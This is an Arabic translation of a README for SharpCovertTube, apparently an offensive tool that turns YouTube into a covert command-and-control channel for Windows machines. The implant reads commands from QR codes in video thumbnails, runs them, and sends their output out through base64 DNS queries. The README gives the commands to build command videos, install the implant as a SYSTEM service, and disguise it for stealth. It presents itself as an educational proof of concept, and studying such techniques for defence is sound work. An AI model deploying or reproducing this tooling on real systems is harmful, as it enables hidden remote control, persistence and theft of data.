
يوتيوب كقناة تحكم (C2) - التحكم في أنظمة ويندوز عبر رفع فيديوهات QR إلى يوتيوب
SharpCovertTube هو برنامج تم إنشاؤه للتحكم في أنظمة ويندوز عن بُعد عن طريق تحميل فيديوهات على يوتيوب.
يراقب البرنامج قناة يوتيوب حتى يتم تحميل فيديو، ثم يفك تشفير رمز الاستجابة السريعة (QR) من الصورة المصغرة للفيديو المُحمّل وينفذ أمرًا. يمكن أن تستخدم رموز QR في الفيديوهات قيمًا نصية واضحة أو مشفرة باستخدام AES.
يحتوي على نسختين، النسخة الثنائية ونسخة الخدمة، ويتضمن سكريبت بايثون لإنشاء الفيديوهات الضارة. الغرض منه هو العمل كطريقة استمرار باستخدام طلبات ويب فقط لواجهة برمجة تطبيقات جوجل.

شغّل المستمع في نظام ويندوز الخاص بك:

سيتحقق من قناة يوتيوب كل فترة زمنية محددة (10 دقائق افتراضيًا) حتى يتم تحميل فيديو جديد. في هذه الحالة، نقوم بتحميل "whoami.avi" من المجلد example-videos:
بعد العثور على فيديو جديد في القناة، يقوم بفك تشفير رمز QR من الصورة المصغرة للفيديو، وينفذ الأمر، ويتم ترميز الاستجابة بـ base64 وتسريبها باستخدام DNS:

يعمل هذا أيضًا مع رموز QR التي تحتوي على حمولات مشفرة بـ AES واستجابات أوامر أطول. في هذا المثال، يتم تحميل الملف "dirtemp_aes.avi" من example-videos ويتم تسريب محتوى c:\temp باستخدام عدة استعلامات DNS:

التسجيل في ملف اختياري ولكن تأكد من وجود المجلد، القيمة الافتراضية هي "c:\temp\.sharpcoverttube.log" لذا يجب أن يكون المجلد "c:\temp" موجودًا.
تسريب DNS اختياري أيضًا ويمكن اختباره بسهولة باستخدام Burp's collaborator:

كبديل، قمت بإنشاء سكريبت لإنشاء فيديوهات QR بسهولة، تحميلها إلى يوتيوب، ومراقبة وتحليل استعلامات DNS المشفرة بـ base64. يتم شرح الإعداد لاستخدام هذا السكريبت كخادم C2 في مجلد c2-server:

هناك بعض القيم التي يمكنك تغييرها، يمكنك العثور عليها في ملف Configuration.cs للنسخة الثنائية العادية ونسخة الخدمة. يجب تحديث القيمتين الأوليتين فقط:

يمكنك إنشاء الفيديوهات باستخدام سكريبت الخادم في مجلد c2-server أو ببساطة عن طريق تشغيل سكريبت generate_video.py. بالنسبة للأخير، قم أولاً بتثبيت التبعيات:
pip install Pillow opencv-python pyqrcode pypng pycryptodome rebus
في حال كنت تستخدم لينكس قد تحتاج أيضًا إلى:
apt-get install libgl1
ثم قم بتشغيل سكريبت generate_video.py:
python generate_video.py -t TYPE -f FILE -c COMMAND [-k AESKEY] [-i AESIV]
إنشاء فيديو بقيمة QR "whoami" بنص واضح في المسار c:\temp\whoami.avi:
python generate_video.py -t qr -f c:\temp\whoami.avi -c whoami
إنشاء فيديو بقيمة QR مشفرة بـ AES لـ "dir c:\windows\temp" مع المفتاح والـ IV "0000000000000000" في المسار c:\temp\dirtemp_aes.avi:
python generate_video.py -t qr_aes -f c:\temp\dirtemp_aes.avi -c "dir c:\windows\temp" -k 0000000000000000 -i 0000000000000000

يمكنك العثور على الكود لتشغيله كخدمة في مجلد SharpCovertTube_Service. له نفس الوظائف باستثناء الحذف الذاتي، والذي لا معنى له في هذه الحالة.
يمكن تثبيته باستخدام InstallUtil، وهو معد للتشغيل كمستخدم SYSTEM وتحتاج إلى تثبيته كمسؤول:
InstallUtil.exe SharpCovertTube_Service.exe
يمكنك بعد ذلك تشغيله باستخدام:
net start "SharpCovertTube Service"

في حال كان لديك صلاحيات إدارية، قد يكون هذا أكثر تمويهًا من النسخة الثنائية العادية، ولكن يجب تحديث "الوصف" و"اسم العرض" (كما ترى في الصورة أعلاه). إذا لم تكن لديك هذه الصلاحيات، لا يمكنك تثبيت الخدمات لذا يمكنك فقط استخدام النسخة الثنائية العادية.
يجب أن يكون الملف 64 بت!!! هذا بسبب الكود المستخدم لفك تشفير QR، والذي تم استعارته من مشروع Stefan Gansevles QR-Capture، الذي استعار جزءًا منه من مشروع Uzi Granot QRCode، الذي بدوره استعار جزءًا من مشروع Zakhar Semenov Camera_Net (ثم فقدت المسار). لذا شكرًا لهم جميعًا!
هذا المشروع هو منقول من covert-tube، وهو مشروع قمت بتطويره في 2021 باستخدام بايثون فقط، والذي استلهمته من مدونات Welivesecurity حول برمجيات Casbaneiro و Numando الضارة.
هذا المشروع هو إثبات للمفهوم لإظهار كيف يمكن استخدام أي شيء تقريبًا على الإنترنت كقناة C2، آمل أن يكون ملهمًا لشخص ما. المشروع مخصص للأغراض التعليمية، إذا أسأت استخدام خدمة يوتيوب، فقد تتعرض لمشاكل مثل حذف يوتيوب لقناتك.